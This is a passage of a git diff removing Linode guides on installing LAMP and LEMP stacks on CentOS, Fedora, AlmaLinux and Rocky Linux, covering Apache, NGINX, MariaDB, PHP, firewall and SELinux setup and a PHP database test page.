for better error messages and logs, and upgraded performance. These modifications provide a good starting point for a **Linode 2GB**: - - {{< file "/etc/php.ini" ini >}} -error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR -error_log = /var/log/php/error.log -max_input_time = 30 - -{{< /file >}} - - - {{< note respectIndent=false >}} -Ensure that all lines noted above are uncommented. A commented line begins with a semicolon (**;**). -{{< /note >}} - -1. Create the log directory for PHP and give the Apache user ownership: - - sudo mkdir /var/log/php - sudo chown apache:apache /var/log/php - -1. Reload Apache: - - sudo systemctl reload httpd.service - -## Optional: Test and Troubleshoot the LAMP Stack - -In this section, you'll create a test page that shows whether Apache can render PHP and connect to the MariaDB database. This can be helpful in locating the source of an error if one of the elements of your LAMP stack is not communicating with the others. - -1. Paste the following code into a new file, `phptest.php`, in the `public_html` directory. Modify `webuser` and `password` to match the information entered in the [Create a MariaDB Database](#create-a-mariadb-database) section above: - - {{< file "/var/www/html/example.com/public_html/phptest.php" php >}} - - -PHP Test - - - Hello World

'; - - // In the variables section below, replace user and password with your own MariaDB credentials as created on your server - $servername = "localhost"; - $username = "webuser"; - $password = "password"; - - // Create MariaDB connection - $conn = mysqli_connect($servername, $username, $password); - - // Check connection - if it fails, output includes the error message - if (!$conn) { - die('

Connection failed:

' . mysqli_connect_error()); - } - echo '

Connected successfully

'; - ?> - - - - {{< /file >}} - -1. Navigate to `example.com/phptest.php` from your local machine. If the components of your LAMP on CentOS 7 are working correctly, the browser displays a "Connected successfully" message. If not, the output is an error message. - -1. Remove the test file: - - sudo rm /var/www/html/example.com/public_html/phptest.php diff --git a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-8/index.md b/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-8/index.md deleted file mode 100644 index 4963ee1ca86..00000000000 --- a/docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-8/index.md +++ /dev/null @@ -1,315 +0,0 @@ ---- -slug: how-to-install-a-lamp-stack-on-centos-8 -title: Installing a LAMP Stack on CentOS 8 -title_meta: How to Install a LAMP Stack on CentOS 8 -description: 'Install a LAMP stack on a CentOS 8 Linode. A LAMP stack includes Linux, Apache, MariaDB, and PHP.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2015-12-01 -modified: 2020-02-19 -keywords: ["LAMP", "CentOS", "CentOS 8", "apache", "mysql", "php", "centos lamp"] -tags: ["centos","web server","php","mysql","apache","lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: how-to-install-a-lamp-stack-on-centos-8.png -external_resources: - - '[CentOS Linux Home Page](http://www.centos.org/)' - - '[Apache HTTP Server Documentation](http://httpd.apache.org/docs/2.2/)' - - '[MariaDB Documentation](https://mariadb.com/kb/en/mariadb/documentation/)' - - '[PHP Documentation](http://www.php.net/docs.php)' -relations: - platform: - key: install-lamp-stack - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-8/','/lamp-guides/centos-5.3/index-print/'] ---- - -A *LAMP stack* is a particular bundle of software packages commonly used for hosting web content. The bundle consists of Linux, Apache, MariaDB, and PHP. This guide shows you how to install a LAMP stack on a CentOS 8 Linode. - -## Before You Begin - -1. Ensure that you have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides. Ensure that the Linode's [hostname is set](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). - - Check your Linode's hostname. The first command should show your short hostname and the second should show your fully qualified domain name (FQDN). - - hostname - hostname -f - - {{< note respectIndent=false >}} If you have a registered domain name for your website, then [add the domain](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) to the Linode server on which you plan to install the LAMP stack. If you do not have a registered domain name, then replace `example.com` with the IP address of the Linode server in the following instructions.{{< /note >}} - -1. Update your system: - - sudo yum update - - {{< note respectIndent=false >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. - {{< /note >}} - -## Apache - -### Install and Configure - -1. Install Apache 2.4: - - sudo yum install httpd - -1. Enable Apache to start at boot and start the Apache service: - - sudo systemctl enable httpd.service - sudo systemctl start httpd.service - -2. Create a `httpd-mpm.conf` file and add the code in the example to turn off KeepAlive and adjust the resource use settings. The settings shown below are a good starting point for a **Linode 2GB**: - - {{< note respectIndent=false >}} -As a best practice, you should create a backup of your Apache configuration file, before making any configuration changes to your Apache installation. To make a backup in your home directory: - - cp /etc/httpd/conf/httpd.conf ~/httpd.conf.backup -{{< /note >}} - - {{< file "/etc/httpd/conf.modules.d/httpd-mpm.conf" aconf >}} -KeepAlive Off - - - StartServers 4 - MinSpareServers 20 - MaxSpareServers 40 - MaxClients 200 - MaxRequestsPerChild 4500 - -{{< /file >}} - -### Configure Name-based Virtual Hosts - -There are different ways to set up virtual hosts; however, the method below is recommended. - -1. Create the directories to store your site files and logs. Replace `example.com` with your own site's domain name. - - sudo mkdir -p /var/www/html/example.com/{public_html,logs} - -1. Create the directories to store your site's virtual hosts files: - - sudo mkdir -p /etc/httpd/sites-available /etc/httpd/sites-enabled - -1. Edit Apache's configuration file to let it know to look for virtual host files in the `/etc/httpd/sites-enabled` directory. Add the example line to the bottom of your `httpd.conf` file: - - {{< file "/etc/httpd/conf/httpd.conf" apache>}} -IncludeOptional sites-enabled/*.conf -{{}} - -1. Navigate to your `/var/www/html/example.com` directory if you are not already there: - - cd /var/www/html/example.com - -1. Using your preferred text editor create a virtual hosts file. Copy the basic settings in the example below and paste them into the file. Replace all instances of `example.com` with your domain name: - - {{< file "/etc/httpd/sites-available/example.com.conf" apache>}} - - Require all granted - - - ServerName example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - ErrorLog /var/www/html/example.com/logs/error.log - CustomLog /var/www/html/example.com/logs/access.log combined - -{{}} - -1. Create a symbolic link from your virtual hosts file in the `sites-available` directory to the `sites-enabled` directory. Replace `example.com.conf` with the name of your own virtual hosts file. - - sudo ln -s /etc/httpd/sites-available/example.com.conf /etc/httpd/sites-enabled/example.com.conf - -1. Reload to apply your new configuration: - - sudo systemctl reload httpd.service - - {{< note respectIndent=false >}} -If you receive an error when trying to reload your `httpd` service, follow the steps in the [Configure SELinux to Allow HTTP](#configure-selinux-to-allow-http) section and then reattempt to reload the service. - {{< /note >}} - - - Additional domains can be added to the `example.com.conf` file as needed. - - {{< note respectIndent=false >}} -`ErrorLog` and `CustomLog` entries are suggested for more fine-grained logging, but are not required. If they are defined (as shown above), the `logs` directories must be created before you restart Apache. -{{< /note >}} - -### Configure SELinux to Allow HTTP - -SELinux is enabled by default on CentOS 8 Linodes. Its default setting is to restrict Apache's access to directories until explicit permissions are granted. - -Without these steps, Apache will not start and may give the following error: - -{{< output >}} -Jun 21 17:58:09 example.com systemd[1]: Failed to start The Apache HTTP Server. -Jun 21 17:58:09 example.com systemd[1]: Unit httpd.service entered failed state. -Jun 21 17:58:09 example.com systemd[1]: httpd.service failed. -{{< /output >}} - -1. Use `chown` to make `apache` the owner of the web directory: - - sudo chown apache:apache -R /var/www/html/example.com/ - -2. Modify the permissions for files and directories: - - cd /var/www/html/example.com/ - find . -type f -exec sudo chmod 0644 {} \; - find . -type d -exec sudo chmod 0755 {} \; - -3. Use SELinux's `chcon` to change the file security context for web content: - - sudo chcon -t httpd_sys_content_t /var/www/html/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/html/example.com -R - -4. Enable Apache to start at boot, and restart the service for the above changes to take place: - - sudo systemctl enable httpd.service - sudo systemctl restart httpd.service -{{< note >}} -In addition, if you plan to use any HTTPD scripts on the server, update the corresponding SELinux Boolean variable. To allow HTTPD scripts and modules to connect to the network, use the `sudo setsebool -P httpd_can_network_connect on` command. -{{< /note >}} - -### Configure FirewallD to Allow HTTP and HTTPS Connections - -FirewallD is enabled for CentOS 8 Linodes, but HTTP and HTTPS is not included in the default set of services. - -1. View the default set of services: - - sudo firewall-cmd --zone=public --list-services - - {{< output >}} -ssh dhcpv6-client -{{< /output >}} - -1. To allow connections to Apache, add HTTP and HTTPS as a service: - - sudo firewall-cmd --zone=public --add-service=http --permanent - sudo firewall-cmd --zone=public --add-service=https --permanent - sudo firewall-cmd --zone=public --add-service=http - sudo firewall-cmd --zone=public --add-service=https - - Visit your domain or public IP to test the Apache server and view the default Apache page. - -{{< note >}} -Rename Apache's default welcome page. When this file is present it will take precedence over other configurations via the `LocationMatch` directive. - - sudo mv /etc/httpd/conf.d/welcome.conf /etc/httpd/conf.d/welcome.conf.bk -{{< /note >}} - -## MariaDB - -### Install and Configure - - MariaDB is a *relational database management system* (RDBMS) and is a popular component of many applications. - -1. Install the MariaDB-server package: - - sudo yum install mariadb-server - -2. Set MariaDB to start at boot and start the daemon for the first time: - - sudo systemctl enable mariadb.service - sudo systemctl start mariadb.service - -3. Run `mysql_secure_installation` to secure MariaDB. You will be given the option to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases and reload privileges. It is recommended that you answer yes to these options: - - sudo mysql_secure_installation - -### Create a MariaDB Database - -1. Log in to MariaDB: - - mysql -u root -p - - Enter MariaDB’s root password. You will get the MariaDB prompt. - -2. Create a new database and user with permissions to use it: - - create database webdata; - grant all on webdata.* to 'webuser' identified by 'password'; - - In the above example `webdata` is the name of the database, `webuser` the user, and `password` a strong password. - -5. Exit MariaDB - - quit - -With Apache and MariaDB installed, you are now ready to move on to installing PHP to provide scripting support for your web pages. - - -## PHP - -### Install and Configure - -1. Install PHP: - - sudo yum install php php-pear php-mysqlnd - -2. Edit `/etc/php.ini` for better error messages and logs, and upgraded performance. These modifications provide a good starting point for a **Linode 2GB**: - - {{< file "/etc/php.ini" ini >}} -error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR -error_log = /var/log/php/error.log -max_input_time = 30 - -{{< /file >}} - - - {{< note respectIndent=false >}} -Ensure that all lines noted above are uncommented. A commented line begins with a semicolon (**;**). -{{< /note >}} - -3. Create the log directory for PHP and give the Apache user ownership: - - sudo mkdir /var/log/php - sudo chown apache:apache /var/log/php - - {{< note respectIndent=false >}} -You may need to enable and start the `php-fpm.service`. This service provides an alternative PHP FastCGI implementation. - - sudo systemctl enable php-fpm.service - sudo systemctl start php-fpm.service - {{< /note >}} - -4. Reload Apache: - - sudo systemctl reload httpd.service - -## Optional: Test and Troubleshoot the LAMP Stack - -In this section, you'll create a test page that shows whether Apache can render PHP and connect to the MariaDB database. This can be helpful in locating the source of an error if one of the elements of your LAMP stack is not communicating with the others. - -1. Paste the following code into a new file, `phptest.php`, in the `public_html` directory. Modify `webuser` and `password` to match the information entered in the [Create a MariaDB Database](#create-a-mariadb-database) section above: - - {{< file "/var/www/html/example.com/public_html/phptest.php" php >}} - - -PHP Test - - - Hello World

'; - - // In the variables section below, replace user and password with your own MariaDB credentials as created on your server - $servername = "localhost"; - $username = "webuser"; - $password = "password"; - - // Create MariaDB connection - $conn = mysqli_connect($servername, $username, $password); - - // Check connection - if it fails, output will include the error message - if (!$conn) { - die('

Connection failed:

' . mysqli_connect_error()); - } - echo '

Connected successfully

'; - ?> - - - - {{< /file >}} - -1. Navigate to `example.com/phptest.php` from your local machine. If the components of your LAMP stack are working correctly, the browser will display a "Connected successfully" message. If not, the output will be an error message. - -1. Remove the test file: - - sudo rm /var/www/html/example.com/public_html/phptest.php diff --git a/docs/guides/web-servers/lamp/how-to-install-lamp-stack-on-fedora-alma-rocky-linux/index.md b/docs/guides/web-servers/lamp/how-to-install-lamp-stack-on-fedora-alma-rocky-linux/index.md deleted file mode 100644 index 41c9a5a20e1..00000000000 --- a/docs/guides/web-servers/lamp/how-to-install-lamp-stack-on-fedora-alma-rocky-linux/index.md +++ /dev/null @@ -1,387 +0,0 @@ ---- -slug: how-to-install-lamp-stack-on-fedora-alma-rocky-linux -title: "How to Install a LAMP Stack on Fedora, AlmaLinux, or Rocky Linux" -description: "This guide explains how to install a LAMP stack on Fedora and the AlmaLinux and Rocky Linux variants." -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2024-05-01 -keywords: ['LAMP stack Fedora','test LAMP stack','Apache Fedora','MariaDB PHP Fedora'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/lamp/lamp-server-on-fedora-11/','/lamp-guides/fedora-11/','/web-servers/lamp/lamp-server-on-fedora-11/','/guides/lamp-server-on-fedora-11/','/websites/lamp/lamp-server-on-fedora-12/','/web-servers/lamp/lamp-server-on-fedora-12/','/lamp-guides/fedora-12/','/guides/lamp-server-on-fedora-12/','/websites/lamp/lamp-server-on-fedora-13/','/lamp-guides/fedora-13/','/web-servers/lamp/lamp-server-on-fedora-13/','/guides/lamp-server-on-fedora-13/','/web-servers/lamp/lamp-server-on-fedora-14/','/lamp-guides/fedora-14/','/websites/lamp/lamp-server-on-fedora-14/','/guides/lamp-server-on-fedora-14/','/websites/lamp/lamp-server-on-fedora-15/','/lamp-guides/fedora-15/','/web-servers/lamp/lamp-server-on-fedora-15/','/guides/lamp-server-on-fedora-15/'] -external_resources: -- '[Apache HTTP server](https://httpd.apache.org/)' -- '[MariaDB](https://mariadb.com/)' -- '[PHP](https://www.php.net/)' -- '[PHP documentation](https://www.php.net/docs.php)' -- '[MySQL](https://dev.mysql.com/)' -- '[LAMP Stack](https://en.wikipedia.org/wiki/LAMP_(software_bundle))' -- '[Apache Virtual Host documentation](https://httpd.apache.org/docs/current/vhosts/)' -relations: - platform: - key: install-lamp-stack - keywords: - - distribution: Fedora 38 ---- - -The most common web architecture for Linux-based systems is the [*LAMP Stack*](https://en.wikipedia.org/wiki/LAMP_(software_bundle)). This stack includes all necessary components for a web application, including an operating system, web server, relational database, and programming language. This guide explains how to install and test a LAMP stack on the Fedora Linux platform and the related AlmaLinux and Rocky Linux distributions. - -## What is a LAMP Stack? - -The LAMP stack is a core architecture for the open source Linux environment. LAMP is an acronym standing for Linux, [Apache](https://httpd.apache.org/), [MySQL](https://dev.mysql.com/) or [MariaDB](https://mariadb.com/), and [PHP](https://www.php.net/), [Perl](https://www.perl.org), or [Python](https://www.python.org). This software stack is sufficient to support most modern web sites and applications, including WordPress. - -The main LAMP stack components are as follows: - -- **Linux**: Linux is a free and open source UNIX-based operating system. It is available in several distinct implementations, called *distributions*. This guide uses Fedora, one of the most popular distributions. The same instructions in this guide are also applicable to the similar AlmaLinux and Rocky Linux platforms. Both of these alternatives are binary-compatible with Fedora. Each distribution of Linux has its own software library which includes the other LAMP stack components. - -- **Apache**: The open source Apache web server is the most common Linux web server. The Apache Software Foundation produces the free standard edition, containing all components required to host a web site. However, extra modules enable additional features such as authentication and programming language APIs. - -- **MariaDB/MySQL**: MySQL and MariaDB are free and open source *relational database management systems* (RDBMS). They can be used interchangeably in the LAMP Stack. MariaDB is a fork of the original MySQL code with additional features, higher scalability, and faster query speed. - -- **PHP/Perl/Python**: PHP is the main server-side scripting and programming language for the LAMP stack. PHP commands can be efficiently embedded within an HTML page, making it a very useful language for web development. It also powers many common open source web applications. PHP is available for free under the PHP License. See the [PHP documentation](https://www.php.net/docs.php) for usage instructions. Alternatives to PHP include Perl and Python. - -All of these applications are available in the core Fedora software library. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -{{< note >}} -The commands, file contents, and other instructions provided throughout this guide may include placeholders. These are typically domain names, IP addresses, usernames, passwords, and other values that are unique to you. The table below identifies these placeholder values and explains what to replace them with: - -| Placeholders: | Replace With: | -| -- | -- | -| `EXAMPLE_DOMAIN`| Your custom domain name. | -| `EXAMPLE_USER` | Your MariaDB (or MySQL) username. | -| `EXAMPLE_PASSWORD`| Your MariaDB (or MySQL) user password. | -| `RELEASE_NUMBER` | The desired release number of PHP (optional). | -{{< /note >}} - -## How to Install a LAMP Stack on Fedora - -These instructions are designed for Fedora 38, but work for AlmaLinux and Rocky Linux as well. The guide provides alternate commands whenever the process differs between distributions. - -### How to Install the Apache Web Server - -1. Ensure the system is updated: - - ```command - sudo dnf upgrade - sudo dnf update - ``` - -1. Install the Apache web server: - - ```command - sudo dnf install httpd -y - ``` - -1. Start and enable the web server. The `enable` command automatically launches Apache when the system reboots. - - ```command - sudo systemctl enable httpd - sudo systemctl start httpd - ``` - -1. Use `systemctl` to ensure the web server is `active (running)`: - - ```command - systemctl status httpd - ``` - - ```output - ● httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; preset: di> - Drop-In: /usr/lib/systemd/system/service.d - └─10-timeout-abort.conf - Active: active (running) since Mon 2023-08-28 12:20:09 EDT; 47s ago - ``` - - Press the Q key to exit the `systemctl status` output and return to the terminal prompt. - -1. Configure the firewall settings to allow HTTP and HTTPS connections: - - ```command - sudo firewall-cmd --permanent --add-service=http - sudo firewall-cmd --permanent --add-service=https - ``` - - ```output - success - success - ``` - -1. Reload the firewall: - - ```command - sudo firewall-cmd --reload - ``` - - ```output - success - ``` - -1. Open a Web browser and navigate to the IP address of the Fedora system. It should display the default "Fedora Webserver Test Page": - - ![The default Fedora web landing page](Fedora-default-web-page.png) - - This indicates the web server is working but has not been fully configured yet. The AlmaLinux and Rocky Linux distributions have their own web server test pages which are similar but slightly different. - - {{< note >}} - If the connection is blocked, it could be due to the default *Security-Enhanced Linux* (SELinux) settings. SELinux is a kernel security module packaged with several Linux distributions. The default security setting is the fairly restrictive `enforcing` mode. To reduce the security level, change the mode to `permissive` using the following command: - - ```command - sudo setenforce 0 - sudo sed -i 's/^SELINUX=.*/SELINUX=permissive/g' /etc/selinux/config - ``` - {{< /note >}} - - {{< note type="secondary" title="Optional" >}} - If a domain name is pointing to the server, it can be added to the `/etc/httpd/conf/httpd.conf` file for better performance. - - 1. Open the `/etc/httpd/conf/httpd.conf` in a text editor with root permissions: - - ```command - sudo nano /etc/httpd/conf/httpd.conf - ``` - - 1. Add the following information to the end of file and be sure to replace `EXAMPLE_DOMAIN` with your fully-qualified domain name: - - ```file {title="/etc/httpd/conf/httpd.conf"} - ServerAdmin admin@EXAMPLE_DOMAIN - ServerName EXAMPLE_DOMAIN:80 - ``` - - 1. When done, press CTRL+X, followed by Y then Enter to save the file and exit `nano`. - - 1. Restart the web server: - - ```command - sudo systemctl restart httpd - ``` - - 1. Open a Web browser and navigate to your domain name. The browser should now display the default Fedora web server page. - {{< /note >}} - -### How to Install the MariaDB Database - -This guide installs MariaDB as the database, but the LAMP stack can also use MySQL. MariaDB is an increasingly popular fork of the original MySQL application with some performance advantages. - -{{< note >}} -To install MySQL instead of MariaDB, replace the first command with `sudo dnf install mysql-server`, then follow the other instructions. To run the `mysql_secure_installation` script in MySQL, first add a new password for the root account. -{{< /note >}} - -1. Install the MariaDB server: - - ```command - sudo dnf install mariadb-server -y - ``` - -1. Enable and start MariaDB: - - ```command - sudo systemctl enable mariadb - sudo systemctl start mariadb - ``` - -1. Verify the status of MariaDB by running the `systemctl status` command to confirm it is `active`: - - ```command - sudo systemctl status mariadb - ``` - - ```output - ● mariadb.service - MariaDB 10.5 database server - Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; preset:> - Drop-In: /usr/lib/systemd/system/service.d - └─10-timeout-abort.conf - Active: active (running) since Mon 2023-08-28 13:20:57 EDT; 24s ago - ``` - - Press the Q key to exit the status output and return to the terminal prompt. - -1. To secure the database, use the interactive `mysql_secure_installation` utility: - - ```command - sudo mysql_secure_installation - ``` - - Provide the following responses to the questions in the script: - - - For `Enter current password for root`, press the Enter key. Because the command is run using `sudo` privileges, a password is not required. - - For `Switch to unit_socket authentication`, answer n. - - For `Change the root password?`, answer n. It is safe to permit local `sudo` access with the standard `root` password. - - For `Remove anonymous users?`, answer y. - - For `Disallow root login remotely?`, answer y`. - - For `Remove test database and access to it?`, answer y. - - For `Reload privilege tables now?`, answer y to apply the changes. - -1. Access the database using `sudo`: - - ```command - sudo mysql - ``` - - MariaDB displays background information about the application along with the `>` prompt: - - ```output - Welcome to the MariaDB monitor. Commands end with ; or \g. - Your MariaDB connection id is 9 - Server version: 10.5.21-MariaDB MariaDB Server - - Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. - - Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - - MariaDB [(none)]> - ``` - -1. Create the `webdata` database and a user account for web application access. In the `CREATE USER` query, provide a secure password in place of `EXAMPLE_PASSWORD` and a more meaningful username in place of `EXAMPLE_USERNAME`. Finally, grant full rights to the user. - - ```command - CREATE DATABASE webdata; - CREATE USER 'EXAMPLE_USERNAME' IDENTIFIED BY 'EXAMPLE_PASSWORD'; - GRANT ALL ON webdata.* TO 'EXAMPLE_USERNAME'; - FLUSH PRIVILEGES; - ``` - - MySQL should respond with `Query OK` after each line. - -1. Exit the SQL shell and return to the terminal prompt: - - ```command - quit - ``` - -### How to Install PHP - -1. Install the main PHP component, including the `php-mysqlnd` package for database integration: - - ```command - sudo dnf install php php-common php-mysqlnd -y - ``` - -1. **Optional:** Install a selection of other commonly-used PHP extensions. Different applications might require additional PHP packages. Consult the application documentation for details. - - {{< tabs >}} - {{< tab "Fedora" >}} - ```command - sudo dnf install php-cli php-gettext php-mbstring php-mcrypt php-pear php-curl php-gd php-xml php-bcmath php-zip php-json -y - ``` - {{< /tab >}} - {{< tab "AlmaLinux & Rocky Linux" >}} - ```command - sudo dnf install php-cli php-gettext php-mbstring php-pear php-curl php-gd php-xml php-bcmath php-zip php-json -y - ``` - {{< /tab >}} - {{< /tabs >}} - - {{< note >}} - AlmaLinux and Rocky Linux do not support the `php-mcrypt` component. The omission of this package is the only difference from the Fedora version of the command above. - {{< /note >}} - -1. Verify the PHP release to confirm a successful installation: - - ```command - php -v - ``` - - On Fedora, the current PHP release is `8.2.9`. AlmaLinux and Rocky Linux currently install release `8.0.27`. - - ```output - PHP 8.2.9 (cli) (built: Aug 3 2023 11:39:08) (NTS gcc x86_64) - Copyright (c) The PHP Group - Zend Engine v4.2.9, Copyright (c) Zend Technologies - with Zend OPcache v8.2.9, Copyright (c), by Zend Technologies - ``` - - {{< note >}} - To determine if a more recent release of PHP is available, use the command `dnf module list php`. To select a non-default release, use the command `dnf module enable php:RELEASE_NUMBER`. Substitute the desired release number for `RELEASE_NUMBER`. - {{< /note >}} - -1. Restart Apache to activate the PHP Apache API: - - ```command - sudo systemctl restart httpd - ``` - -## How to Verify the LAMP Stack Installation - -To verify the stack components, embed a PHP code block containing a database connection inside an HTML page. PHP code can be integrated into an HTML file using the ` - - PHP Test - - - Welcome to the Site!

'; - - // When running this script on a local database, the servername must be 'localhost'. Use the name and password of the web user account created earlier. Do not use the root password. - $servername = "localhost"; - $username = "EXAMPLE_USERNAME"; - $password = "EXAMPLE_PASSWORD"; - - // Create MySQL connection - $conn = mysqli_connect($servername, $username, $password); - - // If the conn variable is empty, the connection has failed. The output for the failure case includes the error message - if (!$conn) { - die('

Connection failed:

' . mysqli_connect_error()); - } - echo '

Connected successfully

'; - ?> - - - ``` - - When done, press CTRL+X, followed by Y then Enter to save the file and exit `nano`. - -1. Run the LAMP stack script test. Open a Web browser and navigate to either the IP address or the domain name followed by `/phptest.php`. For example, `http://example.com/phptest.php`, but replace `example.com` with your actual domain name or IP address. - -1. If the test is successful, the browser displays `connected successfully` message: - - ![Results of the PHP test](PHP-Test.png) - - {{< note >}} - If the page displays the `Connection failed` message, verify the database credentials and try again. If an HTML error occurs, ensure the contents of the sample file are complete and correct. To isolate the PHP functionality, replace the contents between ``, with `phpinfo();`. This command displays information about the PHP installation and confirms if PHP is working. - {{< /note >}} - -## Additional LAMP Stack Production Considerations - -The previous instructions are sufficient for small personal sites. However, commercial sites might require additional configuration. Here are some other issues to potentially consider. - -1. The database is not currently remotely accessible. To access MariaDB through the firewall, use the following commands: - - ```command - sudo firewall-cmd --add-service=mysql --permanent - sudo firewall-cmd --reload - ``` - -1. To run multiple sites from the same server, configure a virtual host for each site. This is considered a more professional configuration even for a single site. - - To configure a virtual host, add a new directory at `/var/www/html/EXAMPLE_DOMAIN/public_html`. Replace `EXAMPLE_DOMAIN` with the actual domain name. Add the website files to this directory. Then edit the file at `/etc/httpd/conf/httpd.conf` to add the virtual hosts. Each virtual host must define a `DocumentRoot`, `ServerName`, and `ServerAdmin`. - - Consult the [Apache Virtual Host documentation](https://httpd.apache.org/docs/current/vhosts/) for more information. - -1. To remove the default welcome page, edit the file `/etc/httpd/conf.d/welcome.conf` and comment out all directives using the `#` symbol. - -## Conclusion - -The Fedora LAMP stack consists of the Linux operating system, Apache web server, the MariaDB/MySQL database, and the PHP/Perl/Python programming language. Together, this architecture is suitable for most modern computing environments. All LAMP components are available in the standard Fedora package library and are installed using `dnf`. To test the stack, configure a database for the web user and create a simple script using HTML and PHP. \ No newline at end of file diff --git a/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-centos-8/index.md b/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-centos-8/index.md deleted file mode 100644 index 6c08ae5d20f..00000000000 --- a/docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-centos-8/index.md +++ /dev/null @@ -1,261 +0,0 @@ ---- -slug: how-to-install-the-lemp-stack-on-centos-8 -title: 'Installing the LEMP Stack on CentOS 8' -title_meta: 'How to Install the LEMP Stack on CentOS 8' -description: 'This guide will show you how to install the LEMP Stack (Linux, NGINX, MySQL, and PHP) which is a popular alternative to the LAMP stack, on CentOS 8.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-06-04 -modified: 2020-03-18 -keywords: ["nginx", "lemp", "php", "mariadb", "mysql", "centos"] -tags: ["lemp","web server","php","mysql","centos","nginx"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: How-to-Install-LEMP-Stack-on-CentOS-8_1200x631.png -relations: - platform: - key: install-lemp-stack - keywords: - - distribution: CentOS 8 -aliases: ['/web-servers/lemp/how-to-install-the-lemp-stack-on-centos-8/'] ---- - - - -## What is the LEMP Stack? - -The LAMP stack (Linux, Apache, MariaDB, and PHP) is a popular server configuration for developing and hosting web applications. The four components of the stack are not tightly coupled, making it possible to substitute your preferred technologies. The **LEMP** stack is a common variant in which the Apache web server is replaced by NGINX, pronounced "engine-x", thus providing the "E". - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}}If you have a registered domain name for your website, then [add the domain](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) to the Linode server on which you plan to install the LEMP stack. If you do not have a registered domain name, then replace `example.com` with the IP address of the Linode server in the following instructions.{{< /note >}} - -## Installation - -### NGINX - -1. Install NGINX from the package repository: - - sudo dnf install nginx - -1. Enable and start the NGINX service: - - sudo systemctl enable nginx - sudo systemctl start nginx - -### MariaDB - -MariaDB is a popular fork of MySQL, and its development is considered to be more open and transparent than MySQL's. MariaDB is administered with the same commands as MySQL. - -1. Install the MariaDB server and MySQL/MariaDB-PHP support: - - sudo dnf install mariadb-server php-mysqlnd - -1. Set MariaDB to start at boot and start the daemon for the first time: - - sudo systemctl enable mariadb.service - sudo systemctl start mariadb.service - -1. Log in to MariaDB's SQL shell: - - mysql -u root - -3. Create a test database and user with access permission. Replace `testdb` and `testuser` with appropriate names for your setup. Replace `password` with a strong password. - - {{< highlight sql >}} -CREATE DATABASE testdb; -CREATE USER 'testuser' IDENTIFIED BY 'password'; -GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'; -{{< /highlight >}} - -4. Exit the SQL shell: - - {{< highlight sql >}} -quit -{{< /highlight >}} - -5. Use the *[mysql_secure_installation](https://mariadb.com/kb/en/library/mysql_secure_installation/)* tool to configure additional security options. You will be given the choice to change the MariaDB root password, remove anonymous user accounts, disable root logins outside of localhost, and remove test databases. It is recommended that you answer `yes` to these options. You can read more about the script in the [MariaDB Knowledge Base](https://mariadb.com/kb/en/mariadb/mysql_secure_installation/). - - sudo mysql_secure_installation - -### PHP - -1. Install the PHP FastCGI Processing Manager, which includes the core PHP dependencies: - - sudo dnf install php-fpm - -1. Enable and start the php-fpm.service: - - sudo systemctl enable php-fpm.service - sudo systemctl start php-fpm.service - -1. Change the default `user` in `/etc/php-fpm.d/www.conf` from `apache` to `nginx`: - - {{< file "/etc/php-fpm.d/www.conf" conf >}} -… -; RPM: apache user chosen to provide access to the same directories as httpd -user = nginx -; RPM: Keep a group allowed to write in log dir. -group = nginx -… - -{{< /file >}} - -1. Tell PHP to only accept URIs for files that actually exist on the server. This mitigates a security vulnerability where the PHP interpreter can be tricked into allowing 